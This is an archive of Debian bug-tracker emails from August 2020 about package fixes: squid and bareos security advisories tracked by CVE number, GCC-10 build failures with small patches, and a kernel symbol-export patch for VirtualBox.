2020 17:27:54 +0200 Source: squid Architecture: source Version: 4.13-1 Distribution: unstable Urgency: high Maintainer: Luigi Gangitano Changed-By: Luigi Gangitano Closes: 968101 968932 968933 968934 Changes: squid (4.13-1) unstable; urgency=high . [ Amos Jeffries ] * New Upstream Release - Fixes security issue SQUID-2020:8 (CVE-2020-15811) (Closes: #968932) - Fixes security issue SQUID-2020:9 (Closes: #968933) - Fixes security issue SQUID-2020:10 (CVE-2020-15810) (Closes: #968934) . * debian/squid.rc: Fix several typos (Closes: #968101) Checksums-Sha1: 0733406e2637dc480a7dea9e787ade3b2353b3e9 2888 squid_4.13-1.dsc cac95c18789e9ecd6620c2f278fc3900498c065b 2452752 squid_4.13.orig.tar.xz 261059cb4dbcc5e4dae7961c9bf334ba6c24cc4f 1194 squid_4.13.orig.tar.xz.asc f3c9c5f32231a326a38ea307fcabf21531097e69 40080 squid_4.13-1.debian.tar.xz bd78e2341136ec39cec4b1c72b9d1373e2d8a7da 8891 squid_4.13-1_amd64.buildinfo Checksums-Sha256: b4172add09b63869397da29f499a0d0bb415eef16641536f99331503197b 2888 squid_4.13-1.dsc 6891a0f540e60779b4f24f1802a302f813c6f473ec7336a474ed68c3e2e53ee0 2452752 squid_4.13.orig.tar.xz 3e145c4af6322ff55bf299ff166c824c092ba2b62f822c8fdd7f885ec90c2ad2 1194 squid_4.13.orig.tar.xz.asc af3b98049828c63bc2f791b24f0db71f09ed418b9b255cb6c581aa8566bc39e4 40080 squid_4.13-1.debian.tar.xz 378a262895db0a7c4139ad29c213442723d59740efa4a4076caebe4e7619ba98 8891 squid_4.13-1_amd64.buildinfo Files: 6627effd8dc619b99008bd7fec8b1c0a 2888 web optional squid_4.13-1.dsc 492e54afc15821141ff1d1d9903854d6 2452752 web optional squid_4.13.orig.tar.xz 4be8191f3ce8e4891bc371cc1e72327d 1194 web optional squid_4.13.orig.tar.xz.asc f7634e5b5f28dc1a1bd4d73667e0f9d0 40080 web optional squid_4.13-1.debian.tar.xz eba3db2deafc987c6c406ad73becb14c 8891 web optional squid_4.13-1_amd64.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEEjUhaNf8ebreQ5Q9tAoTyDCupfO0FAl9D3vEACgkQAoTyDCup fO1spg//cmouO8WtaKyf6vpQ9FurVO/9eVGD3TN1HqqEjChfkboYzKkhZiUKl0OR CmH1mVE2RoFA3pix2twfLJlxD+/K3EkcQojW7uTKaTMSNgUT7Uum9WUhk9eBWEvz LFApn4otZJqqt6OnrU5WHYW4T04dv3hdpSkv+jCYeT8auvVoBnimxyK3lXcffwWc PwhjIKc7JM/C6dSp9KUJKFtSOaxODfgKREwzVC1mHfHvwdAbClAETZuFvRItCuMj syJwRhmmdNodDndZaD5bfqErlwU1MaBJ+5iOvRzCZPEI4d+0QnrJVcq7sX1T5RJp pjQ7tozLErN71v3V5jbgApW471X8hPMr4Lt4gIHZm3Fu5kIEDCrSed8S/Be9qV/1 zwh60/ubA1zVecTvDVMgca5+EWtXcFquvRag1rSSWOLHD4lHwKLtQ2Zm2Ydx8pHF sdVAJZelbgYk8RYJNnP5HaZult9yYvZkLMMwgxjDesfHAMKFaVm9dYmkMTeFuHYt
Processed: tagging 966768, affects 965007
Processing commands for cont...@bugs.debian.org: > tags 966768 + experimental Bug #966768 [src:openturns] openturns: Unversioned Python removal in sid/bullseye Bug #937214 [src:openturns] openturns: Python2 removal in sid/bullseye Added tag(s) experimental. Added tag(s) experimental. > affects 965007 + src:gst-plugins-bad1.0 Bug #965007 [pitivi] pitivi: ships a copy of gstreamer libraries Added indication that 965007 affects src:gst-plugins-bad1.0 > thanks Stopping processing here. Please contact me if you need assistance. -- 937214: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=937214 965007: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965007 966768: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=966768 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#968933: marked as done (squid: SQUID-2020:9 Denial of Service processing Cache Digest Response)
Your message dated Mon, 24 Aug 2020 15:49:31 + with message-id and subject line Bug#968933: fixed in squid 4.13-1 has caused the Debian Bug report #968933, regarding squid: SQUID-2020:9 Denial of Service processing Cache Digest Response to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 968933: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968933 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Source: squid Version: 4.12-1 Severity: grave Tags: security upstream Justification: user security hole X-Debbugs-Cc: car...@debian.org, Debian Security Team Hi, The following vulnerability was published for squid, but there is no CVE assigned yet: | SQUID-2020:9 Denial of Service processing Cache Digest Response If you fix the vulnerability please also make sure to include the CVE (Common Vulnerabilities & Exposures) id in your changelog entry. (once it is assigned if that happends before the upload). For further information see: [0] https://github.com/squid-cache/squid/security/advisories/GHSA-vvj7-xjgq-g2jg [1] http://www.squid-cache.org/Versions/v4/changesets/SQUID-2020_9.patch Please adjust the affected versions in the BTS as needed. Regards, Salvatore --- End Message --- --- Begin Message --- Source: squid Source-Version: 4.13-1 Done: Luigi Gangitano We believe that the bug you reported is fixed in the latest version of squid, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 968...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Luigi Gangitano (supplier of updated squid package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Format: 1.8 Date: Mon, 24 Aug 2020 17:27:54 +0200 Source: squid Architecture: source Version: 4.13-1 Distribution: unstable Urgency: high Maintainer: Luigi Gangitano Changed-By: Luigi Gangitano Closes: 968101 968932 968933 968934 Changes: squid (4.13-1) unstable; urgency=high . [ Amos Jeffries ] * New Upstream Release - Fixes security issue SQUID-2020:8 (CVE-2020-15811) (Closes: #968932) - Fixes security issue SQUID-2020:9 (Closes: #968933) - Fixes security issue SQUID-2020:10 (CVE-2020-15810) (Closes: #968934) . * debian/squid.rc: Fix several typos (Closes: #968101) Checksums-Sha1: 0733406e2637dc480a7dea9e787ade3b2353b3e9 2888 squid_4.13-1.dsc cac95c18789e9ecd6620c2f278fc3900498c065b 2452752 squid_4.13.orig.tar.xz 261059cb4dbcc5e4dae7961c9bf334ba6c24cc4f 1194 squid_4.13.orig.tar.xz.asc f3c9c5f32231a326a38ea307fcabf21531097e69 40080 squid_4.13-1.debian.tar.xz bd78e2341136ec39cec4b1c72b9d1373e2d8a7da 8891 squid_4.13-1_amd64.buildinfo Checksums-Sha256: b4172add09b63869397da29f499a0d0bb415eef16641536f99331503197b 2888 squid_4.13-1.dsc 6891a0f540e60779b4f24f1802a302f813c6f473ec7336a474ed68c3e2e53ee0 2452752 squid_4.13.orig.tar.xz 3e145c4af6322ff55bf299ff166c824c092ba2b62f822c8fdd7f885ec90c2ad2 1194 squid_4.13.orig.tar.xz.asc af3b98049828c63bc2f791b24f0db71f09ed418b9b255cb6c581aa8566bc39e4 40080 squid_4.13-1.debian.tar.xz 378a262895db0a7c4139ad29c213442723d59740efa4a4076caebe4e7619ba98 8891 squid_4.13-1_amd64.buildinfo Files: 6627effd8dc619b99008bd7fec8b1c0a 2888 web optional squid_4.13-1.dsc 492e54afc15821141ff1d1d9903854d6 2452752 web optional squid_4.13.orig.tar.xz 4be8191f3ce8e4891bc371cc1e72327d 1194 web optional squid_4.13.orig.tar.xz.asc f7634e5b5f28dc1a1bd4d73667e0f9d0 40080 web optional squid_4.13-1.debian.tar.xz eba3db2deafc987c6c406ad73becb14c 8891 web optional squid_4.13-1_amd64.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCgAdFiEEjUhaNf8ebreQ5Q9tAoTyDCupfO0FAl9D3vEACgkQAoTyDCup fO1spg//cmouO8WtaKyf6vpQ9FurVO/9eVGD3TN1HqqEjChfkboYzKkhZiUKl0OR CmH1mVE2RoFA3pix2twfLJlxD+/K3EkcQojW7uTKaTMSNgUT7Uum9WUhk9eBWEvz LFApn4otZJqqt6OnrU5WHYW4T04dv3hdpSkv+jCYeT8auvVoBnimxyK3lXcffwWc PwhjIKc7JM/C6dSp9KUJKFtSOaxODfgKREwzVC1mHfHvwdAbClAETZuFvRItCuMj syJwRhmmdNodDndZaD5bfqErlwU1MaBJ+5iOvRzCZPEI4d+0QnrJVcq7sX1T5RJp pjQ7tozLErN71v3V5jbgApW471X8hPMr4Lt4gIHZm3Fu5kIEDCrSed8S/Be9qV/1 zwh60/ubA1zVecTvDVMgca5+EWtXcFquvRag1rSSWOLHD4lHwKLtQ2Zm2Ydx8pHF sdVAJZelbgYk8RYJNnP5HaZult9yYvZkLMMwgxjDesfHAMKFaVm9dYmkMTeFuHYt
Processed: Re: Bug#965985: CVE-2020-4042 / CVE-2020-11061
Processing control commands: > clone 965985 -1 Bug #965985 [src:bareos] CVE-2020-4042 / CVE-2020-11061 Bug 965985 cloned as bug 968957 > retitle 965985 bareos: CVE-2020-4042 Bug #965985 [src:bareos] CVE-2020-4042 / CVE-2020-11061 Changed Bug title to 'bareos: CVE-2020-4042' from 'CVE-2020-4042 / CVE-2020-11061'. > retitle -1 bareos: CVE-2020-11061 Bug #968957 [src:bareos] CVE-2020-4042 / CVE-2020-11061 Changed Bug title to 'bareos: CVE-2020-11061' from 'CVE-2020-4042 / CVE-2020-11061'. > forwarded 965985 https://bugs.bareos.org/view.php?id=1250 Bug #965985 [src:bareos] bareos: CVE-2020-4042 Set Bug forwarded-to-address to 'https://bugs.bareos.org/view.php?id=1250'. > forwarded -1 https://bugs.bareos.org/view.php?id=1210 Bug #968957 [src:bareos] bareos: CVE-2020-11061 Set Bug forwarded-to-address to 'https://bugs.bareos.org/view.php?id=1210'. -- 965985: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965985 968957: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968957 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#965985: CVE-2020-4042 / CVE-2020-11061
Control: clone 965985 -1 Control: retitle 965985 bareos: CVE-2020-4042 Control: retitle -1 bareos: CVE-2020-11061 Control: forwarded 965985 https://bugs.bareos.org/view.php?id=1250 Control: forwarded -1 https://bugs.bareos.org/view.php?id=1210 Hi Moritz, On Tue, Jul 21, 2020 at 09:32:16PM +0200, Moritz Muehlenhoff wrote: > Source: bareos > Severity: grave > Tags: security > > CVE-2020-11061: > https://github.com/bareos/bareos/security/advisories/GHSA-mm45-cg35-54j4 > > CVE-2020-4042 > https://github.com/bareos/bareos/security/advisories/GHSA-vqpj-2vhj-h752 Going to clone/split this bug into two separately, with the following reason. While both are covered in the supported Debian releases samewise from the affected versions, CVE-2020-4042 is harder to handle in the affected versions. Splitting the bug makes it easier to handle the issues sepaately and e.g. fixing CVE-2020-11061 first with an isolated fix. Hope you are fine with that move, will update the security-tracker then accordingly. Regards, Salvatore
Bug#968956: kbd: fails to build on big endian (s390x)
Package: kbd Version: 2.2.0-1 Severity: serious Tags: upstream Justification: FTBFS on release arch Forwarded: https://github.com/legionus/kbd/issues/40 Hello, The new kbd release recently uploaded to unstable (2.2.0) which includes fixes to build with gcc-10 has a regression on big-endian architectures successfully caught by the test-suite. More information is already available in the upstream issue tracker where someone has done the initial investigations. (See forwarded url above.) Would be great if someone from the debian s390 porters team would follow up with which path to go down and propose a patch that implements the solution. Alternatively we could disable the test-suite on s390 in debian if you think this issue is not important enough to hold up the other fixes from entering testing/bullseye. Regards, Andreas Henriksson
Bug#957176: epic4: diff for NMU version 1:2.10.6-1.1
Control: tags 957176 + patch Control: tags 957176 + pending Dear maintainer, I've prepared an NMU for epic4 (versioned as 1:2.10.6-1.1) and uploaded it to DELAYED/2. Please feel free to tell me if I should cancel it. -- Regards Sudip diff -Nru epic4-2.10.6/debian/changelog epic4-2.10.6/debian/changelog --- epic4-2.10.6/debian/changelog 2016-07-24 15:06:23.0 +0100 +++ epic4-2.10.6/debian/changelog 2020-08-24 15:48:18.0 +0100 @@ -1,3 +1,10 @@ +epic4 (1:2.10.6-1.1) unstable; urgency=medium + + * Non-maintainer upload. + * Fix ftbfs with GCC-10. (Closes: #957176) + + -- Sudip Mukherjee Mon, 24 Aug 2020 15:48:18 +0100 + epic4 (1:2.10.6-1) unstable; urgency=medium * New upstream release diff -Nru epic4-2.10.6/debian/patches/gcc-10.patch epic4-2.10.6/debian/patches/gcc-10.patch --- epic4-2.10.6/debian/patches/gcc-10.patch1970-01-01 01:00:00.0 +0100 +++ epic4-2.10.6/debian/patches/gcc-10.patch2020-08-24 15:46:45.0 +0100 @@ -0,0 +1,18 @@ +Description: Fix ftbfs with GCC-10 + +Author: Sudip Mukherjee +Bug-Debian: https://bugs.debian.org/957176 +Forwarded: no + +--- + +--- epic4-2.10.6.orig/include/irc.h epic4-2.10.6/include/irc.h +@@ -166,6 +166,6 @@ const char * current_loader (void); /* + char * current_package (void); /* XXX command.c */ + + /* keep track of signals for scripted events */ +-volatile int signals_caught[NSIG]; ++extern volatile int signals_caught[NSIG]; + + #endif /* __irc_h */ diff -Nru epic4-2.10.6/debian/patches/series epic4-2.10.6/debian/patches/series --- epic4-2.10.6/debian/patches/series 2016-07-24 15:18:53.0 +0100 +++ epic4-2.10.6/debian/patches/series 2020-08-24 14:25:09.0 +0100 @@ -4,3 +4,4 @@ install_dir.patch man.patch reproducible_build.patch +gcc-10.patch
Processed: epic4: diff for NMU version 1:2.10.6-1.1
Processing control commands: > tags 957176 + patch Bug #957176 [src:epic4] epic4: ftbfs with GCC-10 Added tag(s) patch. > tags 957176 + pending Bug #957176 [src:epic4] epic4: ftbfs with GCC-10 Added tag(s) pending. -- 957176: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=957176 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Processed: tagging 957151
Processing commands for cont...@bugs.debian.org: > tags 957151 + pending upstream fixed-upstream Bug #957151 [src:drbd-utils] drbd-utils: ftbfs with GCC-10 Added tag(s) upstream, pending, and fixed-upstream. > thanks Stopping processing here. Please contact me if you need assistance. -- 957151: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=957151 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#968946: coccinelle: FTBFS in sid
Source: coccinelle Version: 1.0.8.deb-3 Severity: serious Hello, some ocaml changes broke the build of coccinelle http://debomatic-amd64.debian.net/distribution#unstable/coccinelle/1.0.8.deb-3/buildlog snip of the failure: OCAMLCparsing_cocci/command_line.mli File "parsing_cocci/parser_cocci_menhir.mli", line 234, characters 25-36: 234 | (Ast_cocci.meta_name * Ast.metavar) option * Ast.mvinit) ^^^ Error: Unbound module AstOCAMLCparsing_c/token_annot.mli OCAMLCparsing_c/flag_parsing_c.mli make[1]: *** [Makefile:421: parsing_cocci/parser_cocci_menhir.cmi] Error 2 thanks for having a look Gianfranco
Bug#968900: marked as done (docbook-to-man: /usr/bin/instant is no longer installed)
Your message dated Mon, 24 Aug 2020 12:18:54 + with message-id and subject line Bug#968900: fixed in docbook-to-man 1:2.0.0-44 has caused the Debian Bug report #968900, regarding docbook-to-man: /usr/bin/instant is no longer installed to be marked as done. This means that you claim that the problem has been dealt with. If this is not the case it is now your responsibility to reopen the Bug report if necessary, and/or fix the problem forthwith. (NB: If you are a system administrator and have no idea what this message is talking about, this may indicate a serious mail system misconfiguration somewhere. Please contact ow...@bugs.debian.org immediately.) -- 968900: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968900 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems --- Begin Message --- Package: docbook-to-man Version: 1:2.0.0-43 Severity: grave X-Debbugs-Cc: none, Hilko Bengen Dear Maintainer, while trying to fix an FTBFS introduced with the upgrade to GCC 10 in hfsplus, I have stumbled across a docbook-to-man failure because /usr/bin/instant is no longer installed. Looking at the build package's build log, this also looks like a GCC-10-related error: , | /usr/bin/ld: translate.o:./Instant/translate.h:131: multiple definition of `TrSpecs'; main.o:./Instant/translate.h:131: first defined here | /usr/bin/ld: translate.o:./Instant/translate.h:133: multiple definition of `nCharMap'; main.o:./Instant/translate.h:133: first defined here | /usr/bin/ld: translate.o:./Instant/translate.h:132: multiple definition of `CharMap'; main.o:./Instant/translate.h:132: first defined here ` This is then ignored by the main Makefile which leads to the missing /usr/bin/instant. Cheers, -Hilko --- End Message --- --- Begin Message --- Source: docbook-to-man Source-Version: 1:2.0.0-44 Done: Chris Lamb We believe that the bug you reported is fixed in the latest version of docbook-to-man, which is due to be installed in the Debian FTP archive. A summary of the changes between this version and the previous one is attached. Thank you for reporting the bug, which will now be closed. If you have further comments please address them to 968...@bugs.debian.org, and the maintainer will reopen the bug report if appropriate. Debian distribution maintenance software pp. Chris Lamb (supplier of updated docbook-to-man package) (This message was generated automatically at their request; if you believe that there is a problem with it please contact the archive administrators by mailing ftpmas...@ftp-master.debian.org) -BEGIN PGP SIGNED MESSAGE- Hash: SHA256 Format: 1.8 Date: Mon, 24 Aug 2020 12:59:14 +0100 Source: docbook-to-man Architecture: source Version: 1:2.0.0-44 Distribution: unstable Urgency: medium Maintainer: Chris Lamb Changed-By: Chris Lamb Closes: 968900 Changes: docbook-to-man (1:2.0.0-44) unstable; urgency=medium . * Fix compatibility with GCC-10, restoring /usr/bin/instant. (Closes: #968900) * Ensure build failures in subdirectories cause build failure of the whole package. * Refresh all patches. * Drop references to .travis.yml. Checksums-Sha1: f8a9d99be417273869a7b48f578137a9911cccd7 1960 docbook-to-man_2.0.0-44.dsc ba0f3f98bf9747fc571accf5202c590c0355af7a 26620 docbook-to-man_2.0.0-44.debian.tar.xz d3ea402c01b75452ddbaedb58cfe14898c83aab5 5596 docbook-to-man_2.0.0-44_amd64.buildinfo Checksums-Sha256: 17a70065cc84be4dd327498e62a0fb2ef4746471278018c19fadda1f2348f070 1960 docbook-to-man_2.0.0-44.dsc ec884e5daa3b2aec21f7a8981ad0ed840174bb7d53c67c98f87f8a83b5145d07 26620 docbook-to-man_2.0.0-44.debian.tar.xz 9f5f79d5f8ed18d7d95c8d0f4f3a3a70d0dc3c2886e90a53f05f024bb02ff83f 5596 docbook-to-man_2.0.0-44_amd64.buildinfo Files: 47c5f2829a6aa5e6c384797fd6a5de8e 1960 text optional docbook-to-man_2.0.0-44.dsc 0998136f283be2427726823f77310cc3 26620 text optional docbook-to-man_2.0.0-44.debian.tar.xz 85717e2b61e8f1eabd9692026cab227c 5596 text optional docbook-to-man_2.0.0-44_amd64.buildinfo -BEGIN PGP SIGNATURE- iQIzBAEBCAAdFiEEwv5L0nHBObhsUz5GHpU+J9QxHlgFAl9DrFMACgkQHpU+J9Qx HliMmQ//coyqlBbLZtolwCA5h6jBITJato2ZM7njNzJhvOFrRxZtv4v531932y8o Q+IfyeyrVUabgeeZVZIzKo2YlkzdZG3N+5QGpe8SoqTXUtUb52A72A+RODAaLFAn W+MF2JId/+l50jn1YpXeWu+9MDeuc3LOk5+6FbW/e6a24GGQ+RnLmOO4ARRTdZGe 60F7A4ghzpxDPPCMwzLxKjLlyC3azPfq0PH2RNwMdRdVk6raHMnn5zvmxT4VbM5n 4QC+1nAY+lTUE59f6KagWMaVpK/2prqZSpuy3imQChUozfc50RWk6Mxp19pJhSX+ uQkjo248IA8wWfctTqCuEdAYEQOnS02/ThMR3GBpwPS19gPqOK6VCGpEpyLtvZbR OcAQKvlkLR0GyvMltv4DGKghxQvL+3hQedUFt8aqRKak9PtPtEGMlt2Vh9xoPZ6B bZwGBed2EVwU+rhHCXefmckkiuZYnoA3SNjSY7oGh2orryRiZEyvB5IAKAFW9La0 e0J6HIBkTGPYbIy4Uadlxa/MaQCMM6ND921Eds944czS2LZgT5Gt+yX3yW/FBKLK +nHV5FjFucBeL5E3lKuW02W+2BySJj0QgTy7VfeFMq8dqmeTVBVS0Sk2QsEms30E du3fOKzHen3zrO3OsG6Cbz2i+GI7/UknRyvgEbD0fEyNYd1+8js= =gIM3 -END PGP SIGNATURE End Message ---
Bug#966889: marked as done (libjna-java: FTBFS: [exec] dispatch.c:1770:23: error: ‘alloca’ bound is unknown [-Werror=alloca-larger-than=])
Your message dated Mon, 24 Aug 2020 11:19:59 +
with message-id
and subject line Bug#966889: fixed in libjna-java 5.5.0-1.1
has caused the Debian Bug report #966889,
regarding libjna-java: FTBFS: [exec] dispatch.c:1770:23: error: ‘alloca’
bound is unknown [-Werror=alloca-larger-than=]
to be marked as done.
This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.
(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)
--
966889: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=966889
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: libjna-java
Version: 5.5.0-1
Severity: serious
Justification: FTBFS on amd64
Tags: bullseye sid ftbfs
Usertags: ftbfs-20200802 ftbfs-bullseye
Hi,
During a rebuild of all packages in sid, your package failed to build
on amd64.
Relevant part (hopefully):
> make[1]: Entering directory '/<>'
> ln -s /usr/share/java/ant.jar lib/ant.jar
> ant -f build.xml \
> -Dcompatibility=8 \
> -Dcflags_extra.native="" \
> -Ddynlink.native=true \
> -Dnomixedjar.native=true \
> -Djni.md5="" \
> -Djar.compress=true \
> -Dmaven-release=true \
> -Dbuild-native=true \
> -Dyear=2020 \
> jar javadoc contrib-jars native
> Buildfile: /<>/build.xml
> [typedef] Could not load definitions from resource
> org/apache/maven/artifact/ant/antlib.xml. It could not be found.
> [typedef] Could not load definitions from resource
> org/codehaus/mojo/animal_sniffer/antlib.xml. It could not be found.
>
> -prepare-anttools:
> [mkdir] Created dir: /<>/build/ant-tools
> [javac] Compiling 3 source files to /<>/build/ant-tools
> [javac] Note: /<>/src/com/sun/jna/ELFAnalyser.java uses
> unchecked or unsafe operations.
> [javac] Note: Recompile with -Xlint:unchecked for details.
>
> -dynamic-properties:
> [mkdir] Created dir: /<>/build/native-linux-x86-64
> [mkdir] Created dir: /<>/build/headers
> [mkdir] Created dir: /<>/build/classes
> [mkdir] Created dir: /<>/build/test-classes
> [mkdir] Created dir: /<>/build/reports
> [mkdir] Created dir: /<>/doc
> [mkdir] Created dir: /<>/build/aar
> [echo] Java version 11.0.8, compatibility: 8, ant: 11
> [echo] JNA version 5.5.0, native 6.1.0, android 505
> [echo] OpenJDK 64-Bit Server VM (Debian, 11.0.8+10-post-Debian-1)
> [echo] java.home=/usr/lib/jvm/java-11-openjdk-amd64
> [echo]
> java.library.path=/usr/java/packages/lib:/usr/lib/x86_64-linux-gnu/jni:/lib/x86_64-linux-gnu:/usr/lib/x86_64-linux-gnu:/usr/lib/jni:/lib:/usr/lib
> [echo] os.prefix=linux-x86-64
> [echo] os.name=Linux
> [echo] os.arch=amd64 (little)
> [echo] build=build
> [echo] build.native=/<>/build/native-linux-x86-64
> [echo] build.headers=/<>/build/headers
> [echo] build.aar=/<>/build/aar
>
> -setup:
>
> -enable-native:
>
> compile:
> [javac] Compiling 63 source files to /<>/build/classes
> [javac] warning: [options] bootstrap class path not set in conjunction
> with -source 8
> [javac] /<>/src/com/sun/jna/Memory.java:181: warning:
> [deprecation] finalize() in Object has been deprecated
> [javac] protected void finalize() {
> [javac]^
> [javac] /<>/src/com/sun/jna/CallbackReference.java:379:
> warning: [deprecation] finalize() in Object has been deprecated
> [javac] protected void finalize() {
> [javac]^
> [javac] /<>/src/com/sun/jna/CallbackReference.java:485:
> warning: [deprecation] isAccessible() in AccessibleObject has been deprecated
> [javac] if (!callbackMethod.isAccessible()) {
> [javac]^
> [javac] /<>/src/com/sun/jna/Native.java:238: warning:
> [deprecation] finalize() in Object has been deprecated
> [javac] protected void finalize() throws Throwable {
> [javac]^
> [javac] /<>/src/com/sun/jna/Native.java:240: warning:
> [deprecation] finalize() in Object has been deprecated
> [javac] super.finalize();
> [javac] ^
> [javac] /<>/src/com/sun/jna/NativeLibrary.java:649: warning:
> [deprecation] finalize() in Object has been deprecated
> [javac] protected void finalize() {
> [javac]^
> [javac] Note: Some input files use unchecked or unsafe operations.
> [javac] Note: Recompile with -Xlint:unchecked for details.
> [javac] 7 warnings
>
> javah:
> [propertyfile] Creating new property file:
> /<>/build/headers/jni.properties
>
> -native-api-check:
>
> :rsrc:
>
> rsrc:
>
> -prepare-native:
>
> native:
> [exec] make[2]:
Processed: Re: Bug#968940: linux: please add patch to support virtualbox on kernel 5.8
Processing control commands: > severity -1 important Bug #968940 [src:linux] linux: please add patch to support virtualbox on kernel 5.8 Severity set to 'important' from 'serious' -- 968940: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=968940 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#968940: linux: please add patch to support virtualbox on kernel 5.8
Control: severity -1 important On Mon, Aug 24, 2020 at 12:11:08PM +0200, Gianfranco Costamagna wrote: > Hello, as explained on upstream ticket [1], the new kernel broke virtualbox, > and the only fix that has been found > so far is to export map_kernel_range and __get_vm_area_caller to modules Please talk to linux upstream. Bastian -- "Get back to your stations!" "We're beaming down to the planet, sir." -- Kirk and Mr. Leslie, "This Side of Paradise", stardate 3417.3
Processed: tagging 957572
Processing commands for cont...@bugs.debian.org: > tags 957572 + ftbfs Bug #957572 [src:munipack] munipack: ftbfs with GCC-10 Added tag(s) ftbfs. > thanks Stopping processing here. Please contact me if you need assistance. -- 957572: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=957572 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#968940: linux: please add patch to support virtualbox on kernel 5.8
Source: linux
Version: 5.8.3-1~exp1
Severity: serious
tags: patch
Hello, as explained on upstream ticket [1], the new kernel broke virtualbox,
and the only fix that has been found
so far is to export map_kernel_range and __get_vm_area_caller to modules
https://www.virtualbox.org/attachment/ticket/19644/local_patches
This trivial patch does the trick
diff --git a/mm/vmalloc.c b/mm/vmalloc.c
--- a/mm/vmalloc.c
+++ b/mm/vmalloc.c
@@ -325,6 +325,7 @@ int map_kernel_range(unsigned long start, unsigned long
size, pgprot_t prot,
flush_cache_vmap(start, start + size);
return ret;
}
+EXPORT_SYMBOL(map_kernel_range);
int is_vmalloc_or_module_addr(const void *x)
{
@@ -2130,6 +2131,7 @@ struct vm_struct *__get_vm_area_caller(unsigned long
size, unsigned long flags,
return __get_vm_area_node(size, 1, flags, start, end, NUMA_NO_NODE,
GFP_KERNEL, caller);
}
+EXPORT_SYMBOL(__get_vm_area_caller);
/**
* get_vm_area - reserve a contiguous kernel virtual area
[1] https://www.virtualbox.org/ticket/19644
thanks
Gianfranco
Bug#968739: [benjamin.redeli...@gmail.com: Bug#968739: igv will not run]
Hi, Le 21/08/2020 à 12:44, Andreas Tille a écrit : > Hi Pierre, > > On Fri, Aug 21, 2020 at 11:32:47AM +0200, Pierre Gruet wrote: >>> I injected the latest upstream version into Git. It does not include so >>> many binary jar's any more but I think its trying to download these >>> instead. I gave up for the moment since I have no idea about gradle. >>> >> Thanks! Many of those jars are in Debian packages, so there is hope to >> get rid of many, maybe all... I'm looking at it. >> Contrarily to what I wrote a few days ago, I do not think we are ready to remove all included jars in igv. For instance we would have to package libgoby-java, I have just made some packaging effort on its new upstream version [0] after Andreas began but, as Olivier noticed before on a previous upstream version [1], there are still many jars missing in Debian. We would also need to have the huge Amazon AWS SDK packaged... I will thus work on #968739 and on the new upstream version but I am afraid we will have to keep igv in non-free for the moment :-( > > Thanks a lot. That would be another mile stone! > > Kind regards > > Andreas. > All the best, Pierre [0] https://salsa.debian.org/med-team/libgoby-java/ [1] https://lists.debian.org/debian-med/2013/02/msg00152.html
Bug#964667: marked as pending in node-chokidar
Control: tag -1 pending Hello, Bug #964667 in node-chokidar reported by you has been fixed in the Git repository and is awaiting an upload. You can see the commit message below and you can check the diff of the fix at: https://salsa.debian.org/js-team/node-chokidar/-/commit/da3bed8f200ce9042d1dcc7b83010638970803ec Set test timeout to the value given by upstream Closes: #964667 (this message was generated automatically) -- Greetings https://bugs.debian.org/964667
Processed: Bug#964667 marked as pending in node-chokidar
Processing control commands: > tag -1 pending Bug #964667 [src:node-chokidar] node-chokidar: FTBFS: dh_auto_test: error: /bin/sh -ex debian/tests/pkg-js/test returned exit code 1 Added tag(s) pending. -- 964667: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964667 Debian Bug Tracking System Contact ow...@bugs.debian.org with problems
Bug#968883: mame FTBFS on !x86
Hi Adrian, El dg. 23 de 08 de 2020 a les 08:45 +0300, en/na Adrian Bunk va escriure: > Source: mame > Version: 0.223+dfsg.1-1 > Severity: serious > Tags: ftbfs > > https://buildd.debian.org/status/logs.php?pkg=mame=0.223%2Bdfsg.1-1=sid > > Errors look quite different on different architectures. I'm aware, yes. I need to dig into this because it's most probably related to build options applied to each arch that has changed upstream. In any case, a new release is two days away, so I'll wait for that first. Thanks for the bug report, Jordi
Bug#958005: marked as done (xtrkcad: ftbfs with GCC-10)
